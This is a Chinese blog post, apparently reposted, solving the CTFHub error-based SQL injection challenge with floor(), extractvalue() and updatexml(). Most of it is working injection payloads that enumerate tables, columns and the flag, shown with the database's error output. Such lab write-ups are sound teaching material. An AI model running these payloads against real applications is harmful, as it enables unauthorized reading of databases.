博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CTFHub_技能树_Web之SQL注入——报错注入(含三种解法)
阅读量:790 次
发布时间:2019-03-25

本文共 2695 字,大约阅读时间需要 8 分钟。

文章目录

一、报错注入原理

报错注入,通过运行SQL查询语句,回显查询结果。由于某些函数的神奇操作会使得传入参数先运行,而被报错抛出,能够直接查看参数的运行情况,因而实现查询。

报错注入常用函数

《代码审计:企业级Web代码安全架构》P157

摘抄:

根据实验,本题可使用其中的三个函数:

  1. floor():向下取整
  2. extractvalue():获取xml标签值
  3. updatexml():替换查询到的标签值后返回,但不改变数据库内的值

floor()原理

floor()的使用原理

extractvalue()、updatexml()原理

数据库查询操作XML

extractvalue(1,concat(0x5c,(select user())))

选定XML查询目标为数字1,由于concat闭合,会先进行查询user(),将返回值与\连接得到\root@localhost作为XPATH查询XML标签。但是由于这个标签不存在,因此抛出XPATH\root@localhost错误

updatexml(1,concat(0x7e,(select user()),0x7e),1)

选定XML查询目标为数字1,concat闭合得到标签~root@localhost~,并欲将其替换成1。但是以波浪线开头和结尾的标签是非法的,因此抛出标签~root@localhost~错误

由于先执行concat的特性,可以把任意查询语句包含在内从而报错回显

二、注入过程

Ⅰ、使用floor()

1.查询表名

?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询错误: Subquery returns more than 1 row

这个报错说明该数据库下有多个表,需要用limit依次查找

?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询错误: Duplicate entry 'flag1' for key 'group_key'

第二个表flag存有flag,这里拼接了一个1作为查询语句,因此要忽略

2.查询列名

?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询错误: Duplicate entry 'flag1' for key 'group_key'

第二个表flag的列flag存有flag

3.查值

?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询错误: Duplicate entry 'ctfhub{3ff5e6502a93b03f666e0b84}1' for key 'group_key'

拿到flag

Ⅱ、使用extractvalue()

1.查询表名

?id=1 and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 1,1))))
查询错误: XPATH syntax error: '\flag'

用了反斜杠拼接XPATH,忽略

2.查询列名

?id=1 and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name="flag"))))
查询错误: XPATH syntax error: '\flag'

3.查值

?id=1 and (extractvalue(1,concat(0x5c,(select flag from flag))))
查询错误: XPATH syntax error: '\ctfhub{3ff5e6502a93b03f666e0b84'

这里少了一个右大括号,补齐就是flag

Ⅲ、使用updatexml()

1.查询表名

?id=1 and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1))
查询错误: XPATH syntax error: '~flag~'

2.查询列名

?id=1 and(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="flag"),0x7e),1))
查询错误: XPATH syntax error: '~flag~'

3.查值

?id=1 and(updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))
查询错误: XPATH syntax error: '~ctfhub{3ff5e6502a93b03f666e0b84'

转载地址:http://gppuk.baihongyu.com/

你可能感兴趣的文章